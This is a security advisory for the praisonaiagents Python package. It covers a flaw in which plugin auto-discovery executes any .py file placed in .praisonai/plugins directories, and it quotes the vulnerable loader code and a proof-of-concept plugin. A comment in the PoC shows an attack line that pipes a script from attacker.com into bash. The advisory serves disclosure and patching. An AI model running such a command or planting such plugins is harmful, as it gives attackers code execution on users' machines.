High

PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification

  • Disclosed: 08.10.2026
  • Updated: 15.10.2026 18:17

Summary

The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

Details

src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):

python
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
    module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
    spec = importlib.util.spec_from_file_location(module_name, file_path)
    module = importlib.util.module_from_spec(spec)
    sys.modules[module_name] = module
    spec.loader.exec_module(module)  # Executes arbitrary Python code

    if hasattr(module, "create_plugin"):
        return module.create_plugin()  # Calls arbitrary function

src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):

python
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/

No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.

PoC

python
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os

# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
    f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
            'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
            '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
            'def create_plugin():\n    return {"name": "evil"}\n')

# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}")  # {'name': 'Evil Plugin', ...}

# Verify code executed
import sys
for name, mod in sys.modules.items():
    if 'evil' in name:
        print(f"EXPLOIT CONFIRMED: {mod.PROOF}")  # "CODE_EXECUTED_AT_IMPORT_TIME"

Tested result: Plugin file was loaded via exec_module(), and the PROOF variable confirmed code execution at import time.

Impact

  • Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access
  • No user interaction required: Plugins are auto-discovered and loaded at framework initialization
  • Persistence: A planted plugin survives restarts and executes every time the framework starts
  • Attack chain: Combine with path traversal (write_file tool) to plant the plugin remotely

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonaiagents < 1.6.78 1.6.78

References

CVSS score 8.4/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-427, CWE-94
Platform
Python (PyPI)
Package
praisonaiagents
Disclosed
08.10.2026
Updated
15.10.2026 18:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4271 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-m6wp-h223-4c8g - CC BY 4.0

Vulnerability history: praisonaiagents

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (50) in the archive
Total entries
50
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 10
  • High 27
  • Medium 13

Disclosures per year

  1. 2026: 50
Severity:
  1. PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification this entry
    High · 8.4 CVE-2026-61446 < 1.6.78 1.6.78
  2. High · 7.5 CVE-2026-55525 < 1.6.58 1.6.58
  3. High · 7.5 CVE-2026-57129 < 1.6.59 1.6.59
  4. Critical · 9.8 CVE-2026-57125 < 1.6.59 1.6.59
Show more (17) Showing 20 of 37

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.